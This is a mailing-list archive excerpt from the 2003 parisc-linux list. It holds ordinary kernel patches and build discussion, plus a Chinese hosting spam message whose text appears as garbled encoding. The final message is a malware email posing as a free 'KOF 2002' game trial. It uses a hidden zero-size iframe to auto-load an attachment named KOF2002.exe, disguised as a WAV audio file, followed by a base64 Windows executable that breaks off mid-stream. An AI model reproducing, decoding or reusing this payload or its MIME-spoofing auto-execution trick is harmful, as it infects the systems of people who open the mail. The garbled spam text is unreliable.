List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18982

> I think someone must have changed the firewall config because I can
> reach port 2401 from localhost, but not from any other machine.

I don't know how that happened, but I reopened the port and anon
CVS should work now.

	-P


From - Thu Nov 08 21:28:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnaldo Carvalho de Melo <acme@conectiva.com.br>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] arch/parisc/kernel/perf_asm.o not building
Date: Fri, 18 Jul 2003 12:51:29 -0300
Organization: Conectiva S.A.
Lines: 34
Approved: news@gmane.org
Message-ID: <20030718155128.GE1582@conectiva.com.br>
References: <20030718041440.GZ1582@conectiva.com.br> <200307180538.h6I5cdAI024133@hiauly1.hia.nrc.ca> <20030718132619.524d8304.varenet@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622612 28335 80.91.229.3 (22 Nov 2014 02:16:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:52 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@lists.parisc-linux.org
To: Thibaut VARENE <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 18 09:49:41 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from orion.netbank.com.br (orion.netbank.com.br [200.203.199.90])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5F3E1482B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 18 Jul 2003 09:49:41 -0600 (MDT)
Original-Received: from [200.181.169.17] (helo=brinquendo.conectiva.com.br)
	by orion.netbank.com.br with asmtp (Exim 3.33 #1)
	id 19dXY1-0006Ut-00; Fri, 18 Jul 2003 12:53:29 -0300
Original-Received: by brinquendo.conectiva.com.br (Postfix, from userid 500)
	id 278271966C; Fri, 18 Jul 2003 15:51:29 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <20030718132619.524d8304.varenet@esiee.fr>
X-Url: http://advogato.org/person/acme
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18983

Em Fri, Jul 18, 2003 at 01:26:19PM +0200, Thibaut VARENE escreveu:
> On Fri, 18 Jul 2003 01:38:39 -0400 (EDT)
> "John David Anglin" <dave@hiauly1.hia.nrc.ca> wrote:
> 
> > > 2.6-bk (i.e. latest linus tree in master.kernel.org), using the
> > > xc-20020118.tar.bz2 cross compiler (latest):
> > 
> > This doesn't work as it doesn't have all the necessary parisc-linux
> > patches.  Use the parisc-linux source.
> > 
> 
> fyi, there's a 3.0.4 xc for i686 (as well as many other platform) on
> pateam:
> http://pateam.esiee.fr/download.html

Thanks, I'm updating it now, just for the record, another thing I've noticed:

===== drivers/char/vt.c 1.53 vs edited =====
--- 1.53/drivers/char/vt.c	Fri Jun 20 17:16:20 2003
+++ edited/drivers/char/vt.c	Fri Jul 18 12:45:57 2003
@@ -2371,7 +2371,7 @@
 /*
  * Turn the Scroll-Lock LED off when the console is started
  */
-static void con_start(struct tty_struct *tty)
+void con_start(struct tty_struct *tty)
 {
 	int console_num;
 	if (!tty)

Will download the diff Willy pointed out and try again with the new xc.

- Arnaldo


From - Thu Nov 08 21:28:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: webmaster <webmaster@127.0.0.1>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] -------|Ż|------
Date: Fri, 18 Jul 2003 10:28:35 -0600 (MDT)
Lines: 83
Approved: news@gmane.org
Message-ID: <20030718162835.770D2482B@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622612 28336 80.91.229.3 (22 Nov 2014 02:16:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:52 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 18 10:28:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tonylee9-5zaxon (unknown [220.113.166.202])
	by dsl2.external.hp.com (Postfix) with SMTP id 770D2482B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 18 Jul 2003 10:28:35 -0600 (MDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18984

װѣ
ã
бƼ޹˾ʺлտʼϵϣ
ܳΪڹҪ顣һҲ¼ᾧоƹͷչ
¼ڻϢעĸ¼ҵ
:http://www.host-china.com 
    ˾2003ȫʻƳ²Ʒпռ䶼֧
ݿ⣨linux+PHP+Mysql;NT+asp+acess⽫ֵѡ
1.30Mռ+30Mҵʾ + һ ȫ棬198Ԫ/ꡣ
2.120Mռ䣫120Mҵ䣫1ȫ棬330Ԫ/ꡣ
    3.200Mռ䣫50Mҵ䣫1ȫ棬450Ԫ/ꡣ
    4.300Mռ䣫50Mҵ䣫1ȫ棬580Ԫ/ꡣ

ǾΪṩõķ񡣣ųʧԸ
˿ҲΪһĲġǳŵⰴʵ
˿벻Ҫֱӻظ,ظ뷢:xiamen263@hotmail.com
ףģ˳
webmaster of http://www.host-china.com 
                                        бƼ޹˾
                                        http://www.host-china.com
                                        绰0592-5915491ߣ   0592-5652685
                                        棺0592-5652687
                                        ϵˣ С























































---------------------------------------------------------------
еȺʼ,ר(http://www.21cmm.com)

CMMУ(http://www.21cmm.com)Ŀר


From - Thu Nov 08 21:28:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnaldo Carvalho de Melo <acme@conectiva.com.br>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] provide probe_irq_mask dummy function
Date: Fri, 18 Jul 2003 13:47:22 -0300
Organization: Conectiva S.A.
Lines: 37
Approved: news@gmane.org
Message-ID: <20030718164722.GJ1582@conectiva.com.br>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622613 28341 80.91.229.3 (22 Nov 2014 02:16:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 18 10:45:27 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from orion.netbank.com.br (orion.netbank.com.br [200.203.199.90])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8F103482B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 18 Jul 2003 10:45:27 -0600 (MDT)
Original-Received: from [200.181.169.17] (helo=brinquendo.conectiva.com.br)
	by orion.netbank.com.br with asmtp (Exim 3.33 #1)
	id 19dYQ6-0006b8-00; Fri, 18 Jul 2003 13:49:22 -0300
Original-Received: by brinquendo.conectiva.com.br (Postfix, from userid 500)
	id 3D4351966C; Fri, 18 Jul 2003 16:47:23 +0000 (UTC)
Content-Disposition: inline
X-Url: http://advogato.org/person/acme
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18985

First patch! :P

This is what the other arches does to provide this ISA stuff, Grant suggested
cleaning the only user of this stuff, that is drivers/pcmcia/yenta_socket.c,
but Willy agreed that as we're on 2.6 times this bandaid is better for the time
being.

Best Regards,

- Arnaldo

===== arch/parisc/kernel/irq.c 1.15 vs edited =====
--- 1.15/arch/parisc/kernel/irq.c	Mon May  5 12:34:24 2003
+++ edited/arch/parisc/kernel/irq.c	Fri Jul 18 13:40:34 2003
@@ -842,6 +842,10 @@
 	return irq_found;
 }
 
+unsigned int probe_irq_mask(unsigned long irqs)
+{
+	return 0;
+}
 
 void __init init_IRQ(void)
 {
===== arch/parisc/kernel/parisc_ksyms.c 1.9 vs edited =====
--- 1.9/arch/parisc/kernel/parisc_ksyms.c	Sun Jun  8 17:24:25 2003
+++ edited/arch/parisc/kernel/parisc_ksyms.c	Fri Jul 18 13:41:37 2003
@@ -37,6 +37,7 @@
 #include <asm/irq.h>
 EXPORT_SYMBOL(enable_irq);
 EXPORT_SYMBOL(disable_irq);
+EXPORT_SYMBOL(probe_irq_mask);
 
 #include <asm/processor.h>
 EXPORT_SYMBOL(kernel_thread);


From - Thu Nov 08 21:28:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Xfree-server and Xhp ?
Date: Fri, 18 Jul 2003 22:37:10 +0000
Lines: 26
Approved: news@gmane.org
Message-ID: <3F187696.8030604@tiscali.be>
References: <3F0BEA8300000F84@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622613 28343 80.91.229.3 (22 Nov 2014 02:16:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:53 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>,
	parisc-linux@lists.parisc-linux.org, Helge Deller <deller@gmx.de>
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 18 16:21:26 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id D9360482B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 18 Jul 2003 16:21:25 -0600 (MDT)
Original-Received: from [62.235.120.87] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 19ddbN-00039U-00; Sat, 19 Jul 2003 00:21:21 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030714 Debian/1.4-2
X-Accept-Language: en
In-Reply-To: <3F0BEA8300000F84@ocpmta1.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18986

Joel Soete wrote:

>>>>>     ldo 0x40(sp),sp
>>>>>          
>>>>>
>>^^^^^^^^^^^^^^^^^^^^^^^^^^That was I suspected to be 'som' specific
>>
>>that means a 64-byte stack.. should be fine on palinux as well.
>>    
>>
>
>Ok I will so try like this (after % and other stuff translation) :-)
>
>Thanks again,
>    Joel
>
Just a follow-up to mentioned that it works (*.s compiling). 
Unfortunately I don't think that I never reach to obtain a full Xhp 
server because I still need some functions (2 or 3) which I didn't found 
nowhere (in the src I got; even thought I found one in a hp lib); I am 
so oblige to abandon ( :_( ).

Thanks again for all,
    Joel



From - Thu Nov 08 21:28:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: wmj <wmjfriend@eyou.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Play KOF 2002 4 Free
Date: Sat,19 Jul 2003 11:04:54 PM
Lines: 820
Approved: news@gmane.org
Message-ID: <20030719030618.14F49BAB@cuprel1.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary=#KCEEK70633#
X-Trace: ger.gmane.org 1416622613 28346 80.91.229.3 (22 Nov 2014 02:16:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:53 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 18 21:06:22 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 152684864
	for <parisc-linux@parisc-linux.org>; Fri, 18 Jul 2003 21:06:22 -0600 (MDT)
Original-Received: from cuprel1.hp.com (unknown [202.113.25.81])
	by cuprel1.hp.com (Postfix) with SMTP id 14F49BAB
	for <parisc-linux@parisc-linux.org>; Fri, 18 Jul 2003 20:06:18 -0700 (PDT)
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18987

--#KCEEK70633#
Content-Type: text/html
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<HTML><HEAD></HEAD><BODY>
<iframe src=3Dcid:C09ue625d16131oG height=3D0 width=3D0>
</iframe>
<FONT></FONT>
<<<<<>>>>><<<<<>>>>><<<<<>>>>><<<<<>>>>><<<<<>>>>><<<<<>>>>><BR><BR>This E-Mail is never sent unsolicited. If you receive this<BR>E-Mail then it is because you have subscribed to the official<BR>newsletter at the KOF ONLINE website.<BR><BR>King Of Fighters is one of the greatest action game ever made.<BR>Now after the mind boggling sucess of KOF 2001 SNK proudly <BR>presents to you KOF 2002 with 4 new charecters.<BR><BR>Even though we need no publicity for our product but this<BR>time we have decided to give away a fully functional trial <BR>version of KOF 2002. So check out the attached trial version<BR>of KOF 2002 and register at our official website to get a free<BR>copy of KOF2002 original version<BR><BR>Best Regards,<BR>Admin,KOF ONLINE..<BR><BR><<<<<>>>>><<<<<>>>>><<<<<>>>>><<<<<>>>>
 ><<<<<>>>>><<<<<>>>>></BODY></HTML>

--#KCEEK70633#
Content-Type: audio/x-wav;
	name=KOF2002.exe
Content-Transfer-Encoding: base64
Content-ID: <C09ue625d16131oG>

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
ZGUuDQ0KJAAAAAAAAADR6StslYhFP5WIRT+ViEU/7pRJP5SIRT8WlEs/hYhFP32XTz/RiEU/lYhF
P5aIRT/3l1Y/nohFP5WIRD/tiEU/fZdOP5GIRT8tjkM/lIhFP1JpY2iViEU/AAAAAAAAAABQRQAA
TAEDAHoBXT4AAAAAAAAAAOAADwELAQYAALAAAAAQAAAAMAQA4OMEAABABAAA8AQAAABAAAAQAAAA
AgAABAAAAAAAAAAEAAAAAAAAAAAABQAAEAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAA
AAAAAAAAAAAAABD1BAB8AQAAAPAEABAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAHJyMDEAAAAAADAEAAAQAAAAAAAAAAQAAAAAAAAAAAAAAAAAAIAAAOBy
cjAyAAAAAACwAAAAQAQAAKYAAAAEAAAAAAAAAAAAAAAAAABAAADgLnJzcmMAAAAAEAAAAPAEAAAI
AAAAqgAAAAAAAAAAAAAAAAAAQAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAMS4yNABycjAiDAkFCRAh5ja03MhpicgEAN6jAAAAkAEAJgcA6Pu/
//+B7CACAACNRCQQU1VWV2gEARlQagD/FVDwQCvJ82b2jCQkHilRJUyU+8iz/NhBQQBSSIRqAY1M
EXfaS9pQTkRqAkhAwWmfd94gUBU8TSCs8RZU//v/d2jIlugHAH1Mg8QIhcAPhJZxADPAaBiQRK3d
/n3ROKAJUFCLNThyULkRMr8lJ7jl+1Dzq4vzXAK7HWmJHTMHZ38y/9ZowKAdijQL5g22zTA9t0h1
CEsdLAUX2mC9qwfuQARjQ7YBpFFQbV8Cuz3JsIsdjCiLLewKdz6CbxsNcIs97misDdeL8JL3JggJ
Vg3wUKR/5iVYTQv0uX0daJR5aJ5nUmn8fFCLAM08u51RdtBogGohBC4I3N60N2hoj0QiDGaDPWwY
A3Uykw8+VBIcWQRqP/AkQEzw4JfThfZ0EGogEPEv+Hm3ov0gTgAW1WAYUVBjI+TsNQwQEGtSKzAl
Fti7P2r/Vov4YQ1XCHsIbMUaDRs+x0ueFAwqFGAmDc8WwWoPI76xV2sfffGxc19eXZlbgcSMwhAA
kfkwRZ4DMxydm4gOQo8El1QeKe6uaBRCkUQfq/gOIkvRlJFIiwS7+HzXPhCqk0JBoPH2DE5RUHA4
j0HWaLCAz4E9cmccdAy4WCvEw8xuygQsdxGLZJt3d9N3UfFo6KcgNNFKwWxYoiRTeZABUQZpP08H
HR8caJxC3gJU8JHv1td1CF5Zw4vSV2sLDm4LfEPXNAhSVbClPXnDGAhQNkxRjWFneHaLWLsAwWiY
LvbiZvi4aJBL1mhJaIgtkJumOYBQTB9oYLHH2+FcMpVqKz2JCgZtySTyX7FSkAKEwS5fFPAxBdeQ
VKxmFBT5IUcuEmcUJAFwu0oyFDscTxA4Kg75XQhD1TQQdPtgOjJjehRtNTzle4U9CHo9AJX7yCMz
MkFS4fDX+2iX5oYdvdMQuEK1izNLlL+oVr7eohuYYZ1SOJGTij5sNmGQAYPsEFbiVH18CW4l///G
8MzhBAB7v/0O1pm5Gcj3+YDCYYi1DCcMIAPIDQ4POwIygBDj7rg9eDPGVxIAPRGxVB2LZhqp1lu8
9QEGm469QEMCihamAlJSBT5QN1yIWkfaOExR/7JoHA92R9UQw2W/trG3vyKQATQEg6d0BKfdAm+y
CscFfF1IQbgI7HAsuBobjn6cuMyECO9t9rFXEwFIWwDHiUzkyZPvcEdBDlBEVCBYDGWeHPlc6EZg
xGScPIcOc/u8lQgatAEqYAMBDsLx6POepvaF/3VHaiwCQ8RNgAH22IP7RYsYDma/vHt48AI47Fcb
iWKLVwxqePgNRwcClmRSU4sIiZFwylUIORvMkUYBWhUO+lR2jBhQccPhNniNvLEkg8n/06yZbrt4
8q730dHQMElq26r29GPxXlFTbeoGvJXUNADlFRz2uxgK+YIsr9YQQVLVwywaJM1rp5h8WNx4UV6z
c8lgFNCaUM5SJQfy0tHEhFA0Jx/yjCQwUY2UaFITcjKRhFCMLUtyIFG3tFRYiuE8YFm1e8gPoYM9
ePDAALyFaNtIWNeINAUcyJJocoDytUgoangJBIt0G3YpMUghTHlRcVo7zMzVj0TiHIyPm7wL+VFo
OHCClG3rrtl2UmRoNEpuxGQda4ZroNUaNUEUJyADyAAVFgwygAwXGAoygDSDMBkaIQPIABscdgKY
hzgscyIAO6bosOMh5fJkJKdi5AODTNXyTHOBtJEo1UAoJLNUnLQchJgFfRy7y9Q0UZQlSOBBkwzs
Al7dEDC2ilsgXuNBDIMDgdQlB6p/RYtkgOiLVJRIUmi8RfvypEOUiKJ8TAHoMaRoykx1CdtVlMnF
xqNJe+GsVhh2FouyUoymYHKETxX0FILdEVdUVtmGMDPbn20ok7AW7C6QNBRIt+W3mrrTuT1jvtBE
coHfaVwM2fOlpH04A86Fq108d3BW58H3/8cwW4XAfguAPDBcdAVIFX/1/cPdIfgwAYs1r4AGsrHa
SMNEsBT7FDp8GswP5phEbwSMBn6INiXHcFsM1qPY5AHBv0REQRRIDac8RAGrsGPEgOHqPBpE+I1L
+TuOagM6J8KOMZRYbPCHiXyIABEOCY/YSjhxQWhibmoCHlo74zVaKCdkBBY0adpvGLGEqGoEwGAG
2BF+yIXJjSRXVJv9e1CFM/+qhdIPjvg2J6Pd//+KBDlHweAIO/p9BzPSihQ5A8IuJf+b/b/IIfkS
g+E/ipQMCK70LIgRi9DB+gyD4rHN+2koFIhRASIGg+Ap/Xe3xYpdNwKspYhBA34Exu0Lfv8JPY1C
ATv4FAI9iyiDwQRAiaqDOKHiwfgTRnVO8nCDudAaoMysCg7FznEN3yYBl3RQ96GClw8NC3sEhV0D
s4IbtMfkkizDnmDw4b6/JPkPjAj/AYsVXAt1LC3Yx67RKM9EhHi5NDWarHQotmZc6TTcaClxp1g3
NDA7EToexxSHaDByUNtcMJMcWAwpFtzxEk9AdVcDLHqSm0c4VDgBRoQH0nW26nWGHCQ8wHRMAwRB
BzEeyGHACLv4Q/RDtQTymAeEB0G6A3mBVsRDoJq0VZDgRcHGiNCIM5xQR4hDfQfngiFHlAuEaMPF
OBiAi+imhe2tVvyr1/ZFDBB1Qf44UBFTxdOnXFVKjfFEE0yNjrB2qcW7PF8k+HvFeQ6oEHS/bH30
iy1LK0KJJ71S+cPxwAiC1XOo2LASGyGdk+HEQI3PFYwjgrsa13C0N2eapWK1PB7YCzEYMpncz9zT
sX3ojTz/HKpWV/Jku5/DDDxI/w4QMBQkNMI8eRgYHAw/pcIyaDHYZggSaGDQ2EcbfMA6V2FUESkF
l/wVzCIjDFJo1EcMy4CcQWWoRzUgAWRzISScR90GmQfBHAFdGqP9kAYhR4sdhFxVl+xL5jeok6QM
Wb1g4NSA0wdUNLzrBUOlrr4MM0xo6AMgfJiUBQUeybwJjMwbjYrfSXckr2r8Rzf/D7C2a6kfdbxo
bEpqTyBDIANcTNlsCxZkAswIBHwS/Nv2crMDrAWc6RQJkBRrvAg7/N2GvNlosKASNWxorAg3jGpt
+EHxFjrsFpfCBABvhoeaKh8cSogTJ/5cDDUEgLT4AQ+FpAo8ET7EvKTrH89y63hOjlBFwFgrBKIn
RHioHFJ6PSHy5rAobNY3M7Gq9TEaVfdVbTLSrEIg0FLYgSAnz4XbU1NWSHL2XVFTMCl7kQ9y8lJX
V1QkKFIacCvJACoXY62ChURq/8jsDMdAap16ENS3ekNgeE9Y11nXMeAV24JjFTOlCEbsUypGsVhJ
XQthZ1taFigBJFvMDCUXT15mb4xouFSsTxCnNpiqnnBYZFOX+4SdCnNVaMhoAgXnVFFzM9v6cF3/
gYEl+N07+3QNV3xKYAdrOvIm/1P9X4HXvgzrtR2KRwQz9qgQdX/zmYZOSnyefss8O3QLiEQ0MNtQ
/xCIXDQRRusa7jYkjPD37m5v1TUnefaJEHTIXQkGTw1ZHqC+yoMFixvb3vQD1FuKtygMKguAj6sj
1/MkD1eGJ15urctXR4kNcNZiW16LtaabG7ncDLZRbgwDVngcxFL5C4X7rpmGfhSHDDKgSYpwAIdj
IC6LFYx/V5Q3jmUDAQYgaOyeW3Y7X9gUmrGADErTZOp0JNXaAkwe6/QDiR/EuSJSPwM+VYt0NThj
rNJWJvzLxu45PYP6ATAnRTHL0u4MAiZtMfPgDKMrAd4jAh/ACgEeV5ZJDqznWPREJ8Pgeu8h18U4
ceCsYEV1341uDXCCnswMBRmGczXg2VDNQ7i1idQP2AC4A4/BkEkbzkaSzcd4pVFpHAIcWuaQYS3r
059yKsIZZK0tfBmWRz+zLmhg6jTGRADV2n7/giVCgHkFSIPI/kAqMnQjDBEx2WxF3TYwghMaFDUV
NuR5K7EWvqDrJkQwMszNFjkxThY1F74IJ1fp1MF0K70JMWoP2NOIVIVGKetEe5faJW8EW0QFhVlO
NeSQA/w8OOLFqAoP2GiH/YpM73LGGxk7fAiD+AV1M+aDXX10aFJQLSONTF/gYI+9fi0TERomv4LX
/X6U6wy/ausFv0rRH9m+TycD0Xd+KexXUn5tPHxop4L31UZRO/J813AwvXAtuB8/kBA9lRn/ADUC
zt6elAFLpaAyhfZ1D9ScQ6+9uAd/kAERQ2fQP2cCx0YcRcTxGPuu/mpGFH0SuKRfFRheV46wQt/b
pIQdwIrTdQAmANoMAgibOYGfDlUk6zJAh3WBq/8fyQEPv0gKi0AMUY1WJIsXBm3kS5eIqDhmB4cB
uAT1UstGImrbAHsfGH7zfzRBwerzdBWIB4Ve+E4HjI4V83VqEHAH8CGHUMcF/LOLeaZKdY1qmk7I
pRyeEksESyNTi1wLvA7SnttbwwiTOPv3CzW5DH7zi/jHQ6vzpeiGwL+8g8AgUYtLJuGYGXYd41Hm
